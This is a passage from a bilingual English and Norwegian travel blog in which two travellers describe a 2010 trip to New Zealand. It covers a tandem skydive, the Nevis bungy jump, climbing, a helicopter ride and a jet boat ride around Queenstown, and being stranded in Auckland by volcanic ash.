stressfaktor rundt hele \"vi sitter fast her nede p\u00e5 ubestemt tid pga den j\u2026.a vulkanen\"-situasjonen. Det er en velkommen mulighet for mer ferie, men mye av denne tiden g\u00e5r med p\u00e5 \u00e5 finne ut av hva som skjer, hvordan vi skal ordne det og hva vi kan ordne herfra. Det \u00e5 ikke vite noe sikkert er (p\u00e5 dette stadiet i turen) ikke spesielt artig. For min del kunne vi leid en bil og dratt et annet sted og utforsket, men vi vet enda ikke hva som skjer med flighten v\u00e5r, s\u00e5 vi sitter for tiden litt fast her i Auckland mens vi pr\u00f8ver \u00e5 holde \u00f8ye med oppdateringer og ser hvilke alternativer vi har. Mesteparten av alternativene v\u00e5re er oppbrukt dessverre, tog- og bussbilletter er utsolgt over hele fj\u00f8la og bilutleieselskapene er for det meste allerede tomme for biler. S\u00e5 kort fortalt, vi pr\u00f8ver \u00e5 komme oss hjem med s\u00e5 f\u00e5 forsinkelser som mulig, men det kan ta litt tid.\n\nVi tok oss tid til \u00e5 bes\u00f8ke Sky Tower i g\u00e5r, den \"h\u00f8yeste bygningen p\u00e5 den s\u00f8rlig halvkule\", og utsikten derfra var fantastisk. Auckland virker som en veldig stor by, den strekker seg rimelig langt utover og ser ut som den bare fortsetter og fortsetter, men som Andreas p\u00e5pekte har den nesten ingen skyskrapere s\u00e5 innbyggerne bruker nok mye kvadratmeter. (Det bor cirka 1.2 millioner her).\n\nTuren til Sky Tower ble etterfulgt av en veldig kj\u00e6rkommen lur, vi bestemte oss nemlig for \u00e5 stikke ut p\u00e5 byen med folka fra Bungi natten f\u00f8r (den rimelig tidlige) flyturen v\u00e5r til Auckland.\n\nJeg sitter n\u00e5 og h\u00f8rer p\u00e5 sangene de spilte p\u00e5 Nevis da vi hoppet og g\u00e5r gjennom noen av minnene fra turen. Det har v\u00e6rt en utrolig bra ferie, mye bedre enn forventet til og med (og vi forventet mye), og jeg merker at vi har begynt \u00e5 senke tempoet. Vi forventer \u00e5 v\u00e6re p\u00e5 vei hjem snart s\u00e5 energiniv\u00e5et er ikke hva det har v\u00e6rt den siste m\u00e5neden, men vi har fortsatt nok igjen til \u00e5 se noe av hva Auckland har \u00e5 tilby. Dagen i dag ble brukt til \u00e5 vandre gjennom en del av byen og se seg om f\u00f8r vi spiste en god middag p\u00e5 belgisk restaurant. I kveld skal vi en tur p\u00e5 en \"de luxe\" kino Andreas leste om. Den ser skikkelig kul ut og kino er ganske avslappende. Passer bra i kveld.\n\nTags: auckland, Cinema, Sky Tower  \n## Lady Skydivah\n\nApril 16th, 2010\n\n**AK:** After a great day of throwing myself off pods with a cord around my ankles, I was thouroughly knackered yesterday. No mercy however, because today was the day I was to experience my first skydive.\n\n\u00a0\n\u00a0I had already booked with Nzone down in Shotover Street a couple of days ago, and showed up to check in today at 10.20 AM. There was a whole class of German kids there whos teacher had apparantly signed as guardian for them all. They were a right mess to sort out for the Nzone team so I just stayed back a bit until they had \"untangled\" them and sorted it all out. Then I filled out the forms, saw the information video they showed and was shown to the bus (the girl at the desk obviously appreciated me not nagging, she said to me \"you go ahead, Anne, and pick the best seat in the bus\"). A very tiny example, but it was sort of the icing on the cake for me. I've felt a very personal service from the Nzone guys since I booked the skydive. A lot of places can learn a thing or two on customer service from these guys.\n\n\u00a0\nAnyway, we were on our way out to the drop zone with our Chilean driver who had loads of tidbits to tell us about the skydive and surrounding area, very nice fellow. The drive took us about 20 minutes and as soon as we got there we could see other jumpers and cameraguys landing in the zone. I was waiting for the nervousness to kick in, as I suspected it would at some point come crashing even if I hadn't felt it when previously thinking about the jump. My jitters just weren't there. In a good way though. I was really excited and smiled a lot, but I wasn't nervous or anxious. \n\n\u00a0\n\nMy name was called and I was set in a group with two other guys who had also opted for the 15 000 feet jump (around 4500 meters). In comparison (for kiwis reading this) the highest point on The Remarkables is 2000-something feet (yes, this is me, sneaking The Remarkables into the blog again)  \n\nI was suited up and while I was waiting for my harness a sturdy looking fellow came up to me and presented himself as Ed, my jumpmaster for the day. Here was the man I would be strapped to for the duration of my plummeting-to-earth-experience. I liked him immediately.\u00a0\n\n\n\nAnnie and Ed waiting to fall out of a plane\n\nHe was friendly, made all sorts of jokes and really laid back, but still obviously knew what he was doing. From his jokes I could tell this was my kind of human being, he had me laughing straight away, and we never really stopped. I was harnessed up and started walking with him and the rest of the team towards the plane. Ed told me to wait a minute as we would be getting in last, and I knew I was destined to be the first jumper again. This time, however, I didn't mind at all. My nerves never came. I got into the plane, sat crouched together with the rest of them and gave the thumbs up to the other two jumpers as the door closed and the tiny plane started moving. They gave me some rather nervous smiles before settling into silent and \"staring straight ahead\"-mode. The plane was really tiny, there was no room for anything else in there, just the nine of us, cramped together. The cameraguys and jumpmasters were smiling (except one of them who seemed to be doing some internal yoga and meditation excercises) and giving eachother five and thumbs up. My cameraman, Ralph, was filming a lot and grinning like a mad man, very enthusiastic dude ;-D\u00a0\n\nEd started adjusting the harness and putting my little cap and goggles on and after a hilarious amount of jokes we started reaching 12 000 feet. After that it was just a matter of waiting for the \"all clear\" from the \"tower\" (the office on the ground really) before the plane scooted up the final 3000 feet and the door opened. My nerves were still not here. I was just smiling and enjoying the ride, still\\! I could hardly believe it.\u00a0\n\nAt 15 000 feet I yelled \"Banana\\!\" back at Ed, indicating I still remembered the walkthrough from the drop zone (the banana is the initial position the jumper should be in upon exiting the plane). Ed laughed and gave me the thumbs up and right then the doors opened and Ralph moved out to the side of the plane. We followed pretty quickly, I grabbed the harness, stuck my feet out and under the step we used to get on board the plane and stretched my head up and back \u2013 perfect banana. Before I knew it we were falling towards the earth.\u00a0\n\n\n\nProfessionally falling out of an airplane\n\nAfter freefalling a bit I felt the tap on my shoulder indicating I should stretch my arms out to the sides and Ralph appeared in front of me smiling and waiving. I thumbed up and smiled as much as I could in the wind as Ralph disappeared and reappeared in front of me.\u00a0\n\n  -   \n    Sweet as\\!\n\nDuring the freefall I experienced a weird thing, I felt a really bad headache coming straight out of the plane, but it didn't actually diminish the experience for me. It's like I felt it was there, but I didn't really care.\u00a0\n\n\n\nSkydive for teh WUN\\! (no, it's not misspelled)\n\nThe trip was awesome, really awesome. I did the highest jump of 15 000 feet and this meant I could look forward to a 60 second freefall. It was probably the shortest minute of my life, before I knew it I felt the parachute pulling us and the wind nearly seized completely (well, compared to the freefall at least).\u00a0\n\nWe slowly decended towards the drop zone, all the while making jokes and commenting on the absolutely stunning view. Skydiving really is the ultimate scenic tour. I received some really nice compliments on my banana (yeah, that sounds pretty sordid, doesn't it\u2026) from Ed (\"You make such a perfect banana, you belong in a fruit bowl\\!\") and some pretty funny stories of other jumpers who have done every other position BUT the banana before it was time to land. All too soon we touched down with Ralph already waiting to capture the final leg on film.  \n\u00a0\n\n  -   \n    Words can't describe it\u2026\n\nIt was a perfect day, not a cloud in the sky and with Ed and Ralph at my side (or literally, on my back) I felt it couldn't have been more perfect. It's one of the best things I have done in my life and I will be doing it again.\n\nAfter being dropped off back in Qtown, I sent Andreas a message and asked if he wanted to meet me for drinks at the Guilty Pub. I hadn't eaten all day, but was feeling a bit queasy, so I held off eating for a little while. Not long after the first Coke though, I felt hungry again and ordered the best steak sandwich ever. We sat there enjoying the last rays of sunlight before fetching my DVD and pics from the Nzone office. Hilarious, a perfect first jump. Thank you Nzone, especially Ed and Ralph, for a great day\\!\n\n\n\nRelaxing in the sun...\n\n\n\n...at the end of another perfect day in NZ.\n\n(**AH:** I had the best cooked breakfast I've ever had in a restaurant\\! True story\\!)\u00a0\n\n**\\***\u00a0\n\n**NORWEGIAN**\u00a0\n\n**AK:** Etter \u00e5 ha tilbrakt en flott dag med \u00e5 kaste seg utfor ting med en strikk rundt anklene i g\u00e5r s\u00e5 var jeg rimelig utslitt. Dessverre var det ingen n\u00e5de \u00e5 f\u00e5 i dag siden jeg hadde mitt f\u00f8rste tandem fallskjermhopp p\u00e5 agendaen.\u00a0\n\nJeg hadde allerede booket med Nzone i Shotover Street for noen dager siden og dukket derfor opp for \u00e5 sjekke inn klokka 10.20. Det var en hel klasse med tyske ungdommer der allerede. L\u00e6reren deres hadde tydeligvis signert alle skjemaene deres for dem og det var ganske mye sortering og ordning p\u00e5 Nzone teamet s\u00e5 jeg holdt meg litt i bakgrunnen og ventet til de hadde f\u00e5tt s\u00e5nn nogenlunde orden p\u00e5 ting. Deretter fylte jeg ut skjemaene mine, s\u00e5 informasjonsvideoen og ble vist til bussen (jenta bak disken satte tydeligvis pris p\u00e5 at jeg var den som ikke maste, s\u00e5 hun hentet meg og sa \"bare g\u00e5 f\u00f8rst, Anne, og finn plassen du vil ha i bussen\"). Et utrolig d\u00e5rlig eksempel p\u00e5 hvorfor jeg satte s\u00e5 pris p\u00e5 Nzone egentlig, men det var bare en bonus. Jeg f\u00f8ler at servicen jeg har f\u00e5tt fra Nzone har v\u00e6rt veldig personlig og bra, helt siden jeg booket f\u00f8rste dagen. Jeg vet om mange steder som kan l\u00e6re et par ting om kundeservice fra disse folka.\u00a0\n\nVi befant oss n\u00e5 p\u00e5 bussen p\u00e5 vei ut til \"drop zone\" med v\u00e5r chilenske sj\u00e5f\u00f8r som hadde masse historier og informasjon om b\u00e5de hoppet vil skulle ta og omr\u00e5det vi kj\u00f8rte gjennom, en veldig koselig kar. Kj\u00f8returen tok oss cirka 20 minutter og s\u00e5 fort vi kom dit kunne vi se andre hoppere and kameramenn lande i landingssonen. Jeg ventet stadig p\u00e5 at nerv\u00f8siteten skulle \"kicke inn\", jeg forventet at den p\u00e5 et eller annet tidspunkt ville melde seg selv om jeg ikke hadde f\u00f8lt noe av den n\u00e5r jeg hadde tenkt p\u00e5 hppet mitt tidligere. Men skjelvinger og nerv\u00f8sitet var bare ikke der. Jeg var veldig spent og gliste mye, men var hverken nerv\u00f8s eller engstelig. Jeg ble ropt opp og satt i en gruppe med to karer som ogs\u00e5 hadde valgt \u00e5 hoppe fra 15 000 fot (cirka 4500 meter). Til sammenligning (for kiwier som leser dette) s\u00e5 er det h\u00f8yeste punktet p\u00e5 The Remarkables 2000-og noe fot h\u00f8yt (jepp, jeg sniker nok en gang inn The Remarkables i bloggen)  \u00a0\n\nJeg fikk p\u00e5 meg flydressen og mens jeg ventet p\u00e5 \"selet\u00f8yet\" mitt kom en ganske traust og godmodig kar opp til meg og presenterte seg som Ed, han som skulle lose meg gjennom hele greia. Dette var mannen jeg skulle v\u00e6re festet til under hele min \"stupe-mot-jorden\"-opplevelse. Jeg likte ham med en gang.\u00a0\n\nHan var utrolig vennlig, sp\u00f8kte og tulla hele tiden og var veldig avslappet, men visste tydeligvis n\u00f8yaktig hva han gjorde. Jeg skj\u00f8nte p\u00e5 basis av sp\u00f8kene hans at han var min type menneske, han fikk meg til \u00e5 le fra f\u00f8rste stund og vi sluttet egentlig aldri med det. Jeg fikk selet meg opp og begynte \u00e5 g\u00e5 mot flyet med resten av gjengen. Ed ba meg vente et sekund for vi skulle inn sist og det var da jeg skj\u00f8nte at jeg nok en gang ville v\u00e6re den f\u00f8rste til \u00e5 \"hoppe\". Denn gangen gjorde det meg derimot ingenten. Nervene kom aldri. Jeg gikk inn i flyet og satt ganske trangt sammen med resten av dem mens vi ga hverandre thumbs up. D\u00f8ren lukket seg og det bittelille flyet startet \u00e5 rulle avg\u00e5rde. De to andre hopperne ga meg noen nerv\u00f8se smil f\u00f8r de inntok en ganske stoisk \"stirre-rett-fremfor-seg\"-positur. Det var ikke plass til noe mer i flyet, bare oss ni menneskene kraftig stuet sammen. Kameragutta og de erfarne hopperne gliste (bortsett fra han ene som s\u00e5 ut som om han gikk gjennom en type dypt personlig og mental yoga/meditasjon) og ga hverandre high five og tommelen opp. Kameramannen min, Ralph, filmet ganske mye og gliste som en g\u00e6rning. En veldig entusiatisk fyr ;-D\u00a0\n\nEd begynte \u00e5 stramme sela og satte p\u00e5 meg lua og brillene og etter en latterlig mengde d\u00e5rlige sp\u00f8ker begynte vi \u00e5 n\u00e6rme oss 12 000 fot. Etter det var det bare \u00e5 vente p\u00e5 klarsignal fra \"t\u00e5rnet\" (alts\u00e5 kontoret p\u00e5 bakken) f\u00f8r flyet kjapt steg de siste 3000 fot og d\u00f8ra \u00e5pnet seg. Nerv\u00f8siteten var fortsatt frav\u00e6rende. Jeg bare gliste bredt og n\u00f8t turen, fortsatt\\! jeg kunne nesten ikke tro det.\u00a0\n\nP\u00e5 15 000 fot ropte jeg \"Banana\\!\" til Ed, for \u00e5 si fra til ham at jeg husket gjennomgangen vi fikk p\u00e5 bakken (\"the banana\"/\"bananen\" er posisjonen hopperen skal innta idet man faller ut av flyet) Ed lo og satte tommelen sin opp og akkurat da \u00e5pnet d\u00f8ra seg. Ralph flyttet seg litt ut og p\u00e5 siden av flyet og vi fulgte etter. Jeg grep tak i sela foran, plantet bena godt under steget vi brukte for \u00e5 komme inn i flyet og skj\u00f8t haka opp og hodet bakover. Perfekt banan-posisjon. F\u00f8r jeg visste ordet av det falt vi mot bakken. .\u00a0\n\nEtter noen sekunders (tror jeg) fritt fall kjente jeg at Ed prikket meg p\u00e5 skulderen for \u00e5 si fra at jeg kunne rekke armene ut til siden og s\u00e5 Ralph dukke opp foran meg, han vinket og gliste stort. Jeg ga ham tomlene opp og gliste s\u00e5 mye jeg kunne i vinden hver gang jeg s\u00e5 Ralph dukke opp foran meg. Mens vi var i fritt fall opplevde jeg noe rart, jeg kjente at jeg fikk utrolig vondt i hodet idet vi falt ut av flyet, men det gjorde faktisk ikke opplevelsen d\u00e5rligere. Det var som om jeg kjente at den var der, men det brydde meg ikke. Rart\u2026\u00a0\n\nTuren var helt uvirkelig bra. Jeg gikk for det h\u00f8yeste hoppet p\u00e5 15 000 fot noe som betydde at jeg fikk 60 sekunder fritt fall. Det var sannsynligvis det korteste minuttet i mitt liv, f\u00f8r jeg visste ordet av det kjente jeg fallskjermen \u00e5pnet seg og trakk i ossog vinden stilnet nesten helt (i alle fall i forhold til hvordan den var i fritt fall). Vi dalte sakte ned mot landingssonen mens vi sp\u00f8kte og lo og kommenterte den helt ufattelig fantastiske utsikten. Fallskjemhopping er virkelig den ultimate m\u00e5ten \u00e5 se flott landskap p\u00e5. Jeg fikk noen fine komplimenter p\u00e5 bananen min (jepp, det h\u00f8res ganske tvilsomt ut\u2026) fra Ed (\"Du gj\u00f8r en s\u00e5 bra banan at du h\u00f8rer hjemme i en fruktkurv\\!\") i tillegg til at han serverte noen rimelig morsomme historier rundt andre hoppere som har gjort alle andre typer posisjon, bare IKKE bananen. Etter noe som virket som altfor kort tid gikk vi inn for landing og stoppet opp akkurat der Ralph ventet med kameraet for \u00e5 f\u00e5 med slutten p\u00e5 turen.\u00a0\n\nDet var en helt perfekt dag, ikke en sky p\u00e5 himmelen og med Ed og Ralph ved min side (eller bokstavelig talt, p\u00e5 ryggen min) f\u00f8lte jeg at det ikke kunne ha blitt bedre. Dette er en av de beste tingene jeg har gjort noen gang og jeg kommer definitivt til \u00e5 gj\u00f8re det igjen.\u00a0\n\nEtter jeg ble sluppet av i Qtown sendte jeg Andreas en melding og h\u00f8rte om han ville m\u00f8te meg p\u00e5 Guilty Pub. Jeg hadde ikke spist noen ting hele dagen, men f\u00f8lte meg litt uggen, s\u00e5 jeg bestemte meg for \u00e5 vente litt med mat. Ikke lenge etter f\u00f8rste colaen merket jeg dog at sulten meldte seg s\u00e5 jeg kj\u00f8pte meg det beste biffsm\u00f8rbr\u00f8det jeg noen gang har smakt. Vi satt og n\u00f8t dagens siste solstr\u00e5ler f\u00f8rvi stakk til Nzone og hentet DVD'n og bildene mine. De var utrolig artige, en perfekt \"f\u00f8rste-hopp\"-opplevelse\\!t\u00a0\n\n(**AH:** Jeg spiste den beste frokosten jeg noen gang har f\u00e5tt p\u00e5 restaurant. Helt sant\\!)\u00a0\n\n## Up \u2026and down. Fast.\n\nApril 15th, 2010\n\n**AH:** I hear a lot that life has its ups and downs, and so does life in Queenstown for adventure-seeking visitors. For a long time I have been told by several good friends of mine that mountain climbing is a lot of fun, so I decided to give it a go (this is the up, I'll get to the down in a bit). For my adventure I chose Climbing Queenstown and their one day introductory tour.\n\n\n\nSecond climb of the day\n\nOn Wednesday morning myself and two others set out with a guide towards the hills below The Remarkables and one of Queenstown's most well known areas for climbing. A short hike up the hill lead us to the site, and after a short rest we started climbing. Two of us (myself and Huan from Argentina) were climbing newbs, but Ann-Marie from Canada had some experience. We started simple, and during the day went on to more demanding (at least for the newbs) climbs.\n\n\n\nClimbing \"The Mission\"\n\nWe did a total of six different climbs during the day, and I have to say guys: you were right, climbing is a lot of fun. It challenges you physically (it hurts writing this), but also mentally as climbing up a wall basically is a puzzle you have to figure out. If you haven't tried it, do it.\n\n**AK:** While Andreas was out climbing rocks I spent the day discovering more of Qtown. I tried to get in on some paragliding action, but the wind was too fierce so the project was abandoned. Instead I spent time in the absolutely gorgeous Qtown Gardens and discovered some nice little cafes and a couple of very interesting art galleries. A nice cup of hot chocolate at Brazz while writing cards was followed by a trip to a deserted old beach strip with a wonderful view of \"my\" Remarkables mointain range. I sat there and watched the sun set while waiting for Andreas to come back so we could eat. We ended the evening with a fantastic seafood platter for two at the Fishbone Grill in Beach Street, recommended\\!\n\n**AH:** So, to the down part. From we started to plan this trip we have agreed that we have to do a bungy jump while in New Zealand, as this is where it was invented. Then, one day on the tv show \"The Amazing Race\" we saw the participants jump from a big pod suspended on a highwire between two hilltops. This was Nevis, NZs biggest bungy jump with its 134 meters.\n\n\n\nThe Nevis highwire pod\n\nSo today (Thursday) we set of in a bus out of Queenstown toward certain doom. The whole experience is made up to scare you. It started with the busdriver informing us that \"the ride will take about 40 minutes, so sit back, relax and try not to think about all the things that can go wrong.\" When we arrived at the site we were outfitted with harnesses and sent out in a little gondola (with transparent floor) towards the pod with the other jumpers.\n\n\n\nAndreas before we set out for the pod\n\nThen we were there. By this time we were really nervous. We could feel the pod swaying as the wind caught it and see how far it was down while we waited. AK was called out first and while she looked pretty nervous before the jump, she was all laughs when she got back up. Then it was my turn. I'll have to admit that I have never been this scared, but I got out on the (pretty small ledge) and when he counted down from three I just jumped.\n\n\n\nAnnie is freefalling O.o\n\nIt's a weird feeling, freefalling towards the ground, but this jump is big enough for you to realize you're having fun before you reach the bottom. And when I got back up, I was the king of the world. As AK said, it's weird that you can get such a sense of achievement just by jumping of something, but you do. You meet your fears in the door and manages to get over them. I'm sure there's a lesson in there somewhere.\n\n\n\nAnnie came back very psyched indeed\\!\n\n\n\nAndreas is also very happy post-jump\n\nAfter the bungy we relaxed by doing the Nevis Arc, the worlds biggest swing, and after that we went to (the previously lauded) Fergburger and had a burger and some beers with Christian from Germany. We felt we had earned it.\n\n\n\nAfter the Nevis Bungy, this trip on \"the world's highest swing\" was a walk in the park\n\n\n\nMatching t-shirts made specifically for the Nevis trip \n\n\n\nThe adrenaline is receding and we are happily winding down on the bus back to Qtown\n\n\n\nOur new friend and fellow mad man, Christian from Germany\n\n(**AK:** For all you Dune-geeks out there, remember the litany of fear? It would have come in handy today\u2026 If I had remembered it\u2026)\n\n**Norwegian:**\n\n**AH:** Jeg h\u00f8rer ofte at det g\u00e5r opp og ned her i livet, og det gj\u00f8r det ogs\u00e5 i Queenstown for eventyrlystne bes\u00f8kende. I lang tid har jeg blitt fortalt av flere gode venner at fjellklatring er veldig g\u00f8y, s\u00e5 jeg bestemte meg for \u00e5 pr\u00f8ve det (dette er opp-delen, jeg kommer til ned litt lenger ned). Jeg valgte \u00e5 booke en tur med Climbing Queenstown og deres dagstur for nybegynnere.\n\nP\u00e5 onsdag morgen la to andre pluss meg selv ut p\u00e5 tur til \u00e5sene ved foten av The Remarkables hvor et av Queenstowns mest kjente klatreomr\u00e5der ligger. Etter en kort fottur opp \u00e5ssiden kom vi frem til omr\u00e5det og etter en kort hvil startet vi klatringen. To av os (meg selv og Huan fra Argentina) var helt nybegynnere, mens Ann-Marie fra Canada hadde noe erfaring. Vi startet lett men gikk utover dagen over til mer krevende (ihvertfall for oss nybegynnere) ruter.\n\nVi var innom til sammen seks forskjellige ruter gjennom dagen og jeg m\u00e5 bare si til dere folkens: Dere hadde rett, klatring er veldig moro. Det utfordrer deg fysisk (det gj\u00f8r vondt \u00e5 skrive dette), men ogs\u00e5 mentalt da det \u00e5 klatre en vegg i bunn og grunn er en oppgave du m\u00e5 l\u00f8se. Hvis du ikke har pr\u00f8vd det, gj\u00f8r det.\n\n**AK:** Mens Andreas klatret tilbrakte jeg dagen med \u00e5 utforske mer av Qtown. Jeg pr\u00f8vde \u00e5 komme med p\u00e5 en paraglidingtur, men vinden var for sterk s\u00e5 de hadde stengt sjappa. Jeg tok en tur til de utrolig vakre Qtown Gardens istedenfor og oppdaget noen s\u00f8te sm\u00e5 cafeer, samt to skikkelig artige kunst gallerier. En god kopp varm kakao p\u00e5 Brazz (mens jeg skrev kort) ble etterfulgt av en tur til en forlatt liten strand med fantastisk utsikt til \"mine kj\u00e6re Remarkables fjellkjede. Jeg satt der og n\u00f8t solnedgangen mens jeg ventet p\u00e5 at Andreas skulle komme tilbake s\u00e5 vi kunne spise middag. Vi endte kvelden med en uts\u00f8kt sj\u00f8mat-tallerken for to p\u00e5 Fishbone Grill i Beach Street, anbefales\\!\n\n**AH:** S\u00e5, til ned-delen. Fra vi startet \u00e5 planlegge turen var vi enige om at vi m\u00e5tte gj\u00f8re et strikkhopp mens vi var i New Zealand, da dette er stedet det ble oppfunnet. En dag, p\u00e5 tv-serien \"The Amazing Race\", s\u00e5 vi deltakerne hoppe fra en stor platfor som hang p\u00e5 en wire mellom to topper. Dette var Nevis, New Zealands h\u00f8yeste strikkhopp med sine 134 meter.\n\nS\u00e5 i dag (torsdag) satt vi avg\u00e5rde i en buss ut av Queenstown mot v\u00e5r sikre undergang. Hele opplevelsen er satt sammen for \u00e5 skremme deg. Det startet med buss-sj\u00e5f\u00f8ren som informerte oss at \"turen vil ta 40 minutter s\u00e5 bare sett dere tilbake, slapp av og pr\u00f8v \u00e5 ikke tenke p\u00e5 alt som kan g\u00e5 galt.\" N\u00e5r vi ankom stedet ble vi utstyrt med seler og sendt ut i en liten gondol (med gjennomsiktig gulv) mot platformen sammen med de andre hopperne.\n\nS\u00e5 var vi der. P\u00e5 dette tidspunktet var vi blitt ganske s\u00e5 nerv\u00f8se. Vi kunne kjenne at platformen ble tatt av vinden og se hvor langt ned det var mens vi ventet. AK ble kalt ut f\u00f8rst og mens hun s\u00e5 veldig nerv\u00f8s ut f\u00f8r hoppet var hun bare latter og sang n\u00e5r hun kom opp igjen. S\u00e5 var det min tur. Jeg m\u00e5 innr\u00f8mme at jeg aldri har v\u00e6rt s\u00e5 redd f\u00f8r, men jeg kom meg ut p\u00e5 (den bitte lille) kanten og n\u00e5r han talte ned s\u00e5 hoppet jeg.\n\nDet er en rar f\u00f8lelse, \u00e5 falle nedover mot bakken, men dette hoppet er h\u00f8yt nok til at du rekker \u00e5 innse at du har det g\u00f8y f\u00f8r du n\u00e5r bunnen. Og n\u00e5r jeg kom opp igjen var jeg kongen over verden  . Som AK sa, det er rart at du kan f\u00e5 en s\u00e5 stor f\u00f8lelse av \u00e5 ha oppn\u00e5dd noe bare av \u00e5 hoppe av noe, men det f\u00e5r du. Du m\u00f8ter din egen frykt i d\u00f8ra og klarer \u00e5 komme over dem. Jeg er sikker p\u00e5 at det er en moral inne i der et sted.\n\nEtter strikkhoppet slappet vi av med \u00e5 ta Nevis Arc, verdens st\u00f8rste huske, og etter det dro vi til Fergburger og tok en burger og noen \u00f8l med Christian fra Tyskland. Vi f\u00f8lte vi hadde fortjent det.\n\n(**AK:** For alle Dune-geeks der ute, husker dere The Litany of Fear? Den hadde passet bra i dag\u2026 Hvis jeg hadde husket den\u2026)\n\nTags: Christian, Fishbone, Nevis, Queenstown Gardens, Rock climbing  \n## Sky and Water\u2026 and a bit of Earth\n\nApril 12th, 2010\n\n**AK:** We started out yesterday with my xmas/birthday present for Andreas: A scenic helicopter ride over Queenstown. We booked a 30 minutes long flight with The Helicopter Line and went up at about 9.30 with pilot Dave Clark.\u00a0\u00a0\n\n\n\nView from The Remarkables\n\nHe flew us up over The Remarkables, a mountain range I have been fascinated with for a while. It is truly remarkable and, like I said to Dave, I use the word \"awesome\" a lot, but this time it REALLY applied. \n\n\u00a0\n\n\n\nWindy, with a chance of more wind...\n\nIt was fantastic. The flight over the mountain range and rising to see Queenstown from behind it afterwards with Dave's \"How's that for a view?\"\u2026 Wow. Truly magnificent.\n\nWe landed on The Remarkables and got out to experience a nice breeze indeed. It was very cold and very cool (again with the no pun intended). Standing up there and looking down on Queenstown was better than I had imagined. The jagged rocks and raw environment of the mountain made me feel very small, but what an experience. I loved it. Andreas liked it too, (or he's a really excellent actor)  \n\n\u00a0\n\n\nI love it when a plan comes together\n\nWhen we got back down we got a ride into town again and headed straight for breakfast/lunch at the most recommended place in Queenstown: FERGBURGER. They are renowned for their burgers and we've had several people recommend them to us, so we thought we'd give them a try. They were cheaper than we'd expected and oh man, what a burger\\! They have many different burgers (like the Bun Laden with falafel), but we both tried the Fergburger with aslice of Swiss cheese (as recommended by Bob from the LOTR-tour). It was even better than the \"Dog's Bollocks Burger\" I had in Rotorua and that was excellent\\!\n\nWe walked off the burger by strolling through town, Andreas found another great cup of coffee and at a artsy souvenir shop he found something I've been looking for since Rotorua: A black board in the shape of New Zealand. (I've got one too now, Gerard). I bought it straight away and carried it with me to The Station.\u00a0\u00a0\n\n\n\n\"Noooo\\! MAH coofeeee\\!\"\n\n\n\nA very happy blackboard-owner\n\nThe Station is a great concept. It's where you go to book almost anything you'd want to do here in QT. They help you book bungy jumps, jet boat trips, helicopter rides etc etc. The companies pick you up and drop you off right outside The Station as well, so it's easy for you to get where you're going.  \n\u00a0\u00a0\n\n  -   \n    The Station in Shotover Street, QT\n\nWe showed up and checked in for our Jet Boat Ride with Shotover Jet, the only company with a license to operate on the Shotover River here in QT.\u00a0\n\nThe boat ride was\u2026 well\u2026 Awesome. We couldn't believe how close we got to the cliffsides and rocks, it's like the boat floated on top of the water and could go anywhere. We got to experience several of the famous Shotover Jet 360s, when the boat spins 360 degrees and it was just the most fun I've ever had in a boat in my entire life. We got as far up and down the river as we could and for once opted to buy the touristy picture package. We had a voucher from the hostel we're staying at and the pics were great so it was worth it.  \n\u00a0\u00a0\n\n\n\nI feel the need... The need for speed\n\nAfter the jet ride we had dinner at the Speight's Ale House here in QT and made our way home. Andreas was knackered so he went straight to bed and fell a sleep, I stayed up a bit and chatted with Lars and Harald (it was great talking to you guys again)   \n\u00a0\u00a0\n\n\n\nThe funniest street name in QT\n\nToday has been far less adventurous, but fun nevertheless. We took the Skyline Gondola and managed to squeeze in five luge rides down the hill before eating lunch and making dinner reservations for tomorrow. (We're eating at the Gondola Restaurant with a view of the city).\u00a0\n\n\n\nPointing out the Remarkables in the background\n\n\n\nView from the chair lift on the way up for another luge trip\n\n\n\nUs in the chairlift looking forward to more LUUUGING\n\n\n\nLuuuuge\\!\n\nAfterwards we took the gondola back down and played a round of minigolf. The miniatures were pretty cool, I haven't played mini golf in years, great fun.\u00a0\n\n\n\nAndreas playing minigolf\n\nA stroll down to one of the local pubs resulted in a couple of drinks and games of pool before we ate a lovely steak dinner at Brazz. The most expensive dinner so far (140 NZD), but that includes entree, dinner, dessert and two sodas/beers and with a steak like that, I can understand why  \u00a0\u00a0\n\n**AK:** Dagen i\u00a0g\u00e5r startet med min julbursdagsgave til Andreas: En sightseeingtur med helikopter over Queenstown. Vi bestilte en 30 minutter lang tur med The Helicopter Line og tok av rundt 9.30 med piloten v\u00e5r Dave Clark. Han fl\u00f8y oss opp over The Remarkables, en fjellkjede jeg har v\u00e6rt fasinert av lenge. Den er virkelig fantastisk og, som jeg sa til Dave, \"jeg bruker ordet \"awesome\" veldi mye, men denne gangen gjelder det virkelig.\" Det var fantastisk. Flyturen over fjellkjeden og det \u00e5 stige over den fra andre siden og se Queenstown langt der nede, som Dave sa \"Hva synes dere om DEN utsikten?\"\u2026 Wow. Det var virkelig enest\u00e5ende.\u00a0\u00a0\n\nVi landet p\u00e5 The Remarkables og da vi gikk ut av helikopteret ble vi m\u00f8tt av en ganske s\u00e5 frisk bris. Det var veldig kaldt, men utrolig kult \u00e5 st\u00e5 der oppe og se ned p\u00e5 QT, det var bedre enn jeg hadde forestilt meg. Steinformasjonene og den taggete fjellkjeden, det var nesten et litt brutalt milj\u00f8 der oppe som fikk meg til \u00e5 f\u00f8le meg veldig liten, men for en opplevelse. Andreas likte det ogs\u00e5 (enten det eller s\u00e5 er han en rimelig bra skuespiller)  \u00a0\u00a0\n\nEtter vi landet fikk vi skyss tilbake til byen og fra droppstedet satte vi kursen rett mot det mest anbefalte stedet i QT: FERGBURGER. De er viden kjent for burgerne sine og siden flere hadde anbefalt dem til oss tenkte vi at vi skulle pr\u00f8ve dem ut. Det var billigere enn vi hadde regnet med og for en burger\\! De har mange forskjellige (bl.a. Bun Laden med falafel), men vi bestemte oss begge for \u00e5 pr\u00f8ve Fergburger med en liten osteskive p\u00e5 (slik som BOB fra LOTR-turen anbefalte). Den var til og med enn \"The Dog's Bollocks Burger\" som jeg spiste i Rotorua og den var fantastisk\\!\u00a0\u00a0\n\nVi pr\u00f8vde \u00e5 \"g\u00e5 av oss litt burger\" ved \u00e5 rusle en tur rundt i byen. Andreas fant enda en kopp meget bra kaffe og i en litt artistisk souveniraktig butikk fant han noe jeg har lett etter siden Rotorua: En tavle formet som New Zealand. Jeg kj\u00f8pte den med en gang og tok den med meg til The Station. The Station er et supert konsept. Det er dit man g\u00e5r for \u00e5 booke nesten hva som helst som man kunne tenke seg \u00e5 gj\u00f8re i QT. De hjelper deg bestille strikkhopp, jet boat turer, helikopterturer etc etc. De forskjellige operat\u00f8rene plukker deg opp og slipper deg av rett utenfor ogs\u00e5, 